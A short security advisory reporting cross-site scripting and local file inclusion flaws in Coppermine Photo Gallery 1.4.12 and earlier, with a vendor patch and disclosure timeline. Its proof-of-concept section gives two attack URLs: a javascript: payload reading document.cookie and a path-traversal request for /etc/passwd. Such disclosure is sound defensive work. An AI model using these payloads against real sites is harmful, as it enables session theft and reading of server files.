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Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion

Author: L4teral <l4teral [4t] gmail com>
Impact: Cross Site Scripting/Local File Inclusion
Status: patch available

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Affected software description:

Application: Coppermine Photo Gallery
Version: <= 1.4.12
Vendor: http://coppermine-gallery.net

Description:
Coppermine is a multi-purpose fully-featured and integrated
web picture gallery script written in PHP using GD or ImageMagick
as image library with a MySQL backend.

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Vulnerabilities:

The script mode.php does not properly sanitize the "referer" parameter.

The script viewlog.php does not properly sanitize the "log" parameter.

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Poc/Exploit:

http://localhost/cpg/mode.php?admin_mode=1&amp;referer=javascript:alert&#40;document.cookie&#41;

http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/passwd&#37;00
(should need admin privileges)

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Solution:

update to 1.4.13 or above

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Timeline:

03.09.2007 - vendor informed
14.09.2007 - patch released by vendor
17.09.2007 - public disclosure